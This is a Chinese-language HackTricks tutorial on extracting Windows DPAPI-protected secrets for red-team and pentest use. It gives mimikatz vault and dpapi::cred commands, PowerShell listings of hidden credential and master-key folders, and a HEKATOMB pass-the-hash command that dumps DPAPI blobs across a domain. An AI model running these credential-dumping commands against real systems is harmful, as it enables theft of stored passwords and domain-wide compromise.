8.4 KiB
DPAPI - 提取密码
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
- 您在网络安全公司工作吗? 想要看到您的公司在HackTricks中做广告吗? 或者想要访问PEASS的最新版本或下载PDF格式的HackTricks? 请查看订阅计划!
- 探索PEASS家族,我们的独家NFT收藏品
- 获取官方PEASS和HackTricks周边产品
- 加入 💬 Discord群组 或 电报群组 或在Twitter上关注我 🐦@carlospolopm。
- 通过向hacktricks repo 和 hacktricks-cloud repo 提交PR来分享您的黑客技巧。
RootedCON 是西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
{% embed url="https://www.rootedcon.com/" %}
什么是DPAPI
数据保护API(DPAPI)主要用于Windows操作系统中对非对称私钥进行对称加密,利用用户或系统密钥作为重要的熵源。这种方法通过允许开发人员使用从用户登录密钥派生的密钥或者对于系统加密来说,使用系统的域身份验证密钥来加密数据,从而简化了开发人员的加密过程,避免了开发人员自行管理加密密钥的需要。
DPAPI保护的数据
DPAPI保护的个人数据包括:
- Internet Explorer和Google Chrome的密码和自动填充数据
- Outlook和Windows Mail等应用程序的电子邮件和内部FTP帐户密码
- 共享文件夹、资源、无线网络和Windows Vault的密码,包括加密密钥
- 远程桌面连接、.NET Passport以及用于各种加密和身份验证目的的私钥的密码
- 由凭据管理器管理的网络密码以及使用CryptProtectData的应用程序中的个人数据,如Skype、MSN Messenger等
列出保险库
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
凭证文件
受保护的凭证文件可能位于:
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
使用mimikatz dpapi::cred
获取凭据信息,在响应中您可以找到有趣的信息,如加密数据和guidMasterKey。
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
您可以使用mimikatz模块 dpapi::cred
和适当的 /masterkey
来解密:
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
主密钥
用于加密用户RSA密钥的DPAPI密钥存储在%APPDATA%\Microsoft\Protect\{SID}
目录下,其中{SID}是该用户的安全标识符。DPAPI密钥存储在保护用户私钥的主密钥相同的文件中。通常是64个字节的随机数据。(请注意,此目录受保护,因此您无法使用cmd的dir
命令列出它,但您可以使用PS列出它)。
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
以下是用户的一堆主密钥的样子:
通常每个主密钥都是一个加密的对称密钥,可以解密其他内容。因此,提取加密的主密钥很有趣,以便稍后解密使用它加密的其他内容。
提取主密钥并解密
查看帖子https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++以了解如何提取主密钥并解密它。
SharpDPAPI
SharpDPAPI是@gentilkiwi的Mimikatz项目中一些DPAPI功能的C#移植。
HEKATOMB
HEKATOMB是一个工具,可以自动提取LDAP目录中的所有用户和计算机,以及通过RPC提取域控制器备份密钥。然后脚本将解析所有计算机的IP地址,并在所有计算机上执行smbclient以检索所有用户的所有DPAPI blob,并使用域备份密钥解密所有内容。
python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
通过从LDAP计算机列表中提取,您可以找到每个子网络,即使您不知道它们!
"因为域管理员权限还不够。攻破它们全部。"
DonPAPI
DonPAPI可以自动转储由DPAPI保护的机密。
参考资料
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++
RootedCON是西班牙最相关的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点会议。
{% embed url="https://www.rootedcon.com/" %}
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
- 您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想访问PEASS的最新版本或下载HackTricks的PDF吗?查看SUBSCRIPTION PLANS!
- 发现The PEASS Family,我们的独家NFTs收藏品
- 获取官方PEASS & HackTricks周边产品
- 加入💬 Discord群](https://discord.gg/hRep4RUj7f)或电报群](https://t.me/peass)或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo](https://github.com/carlospolop/hacktricks)和hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。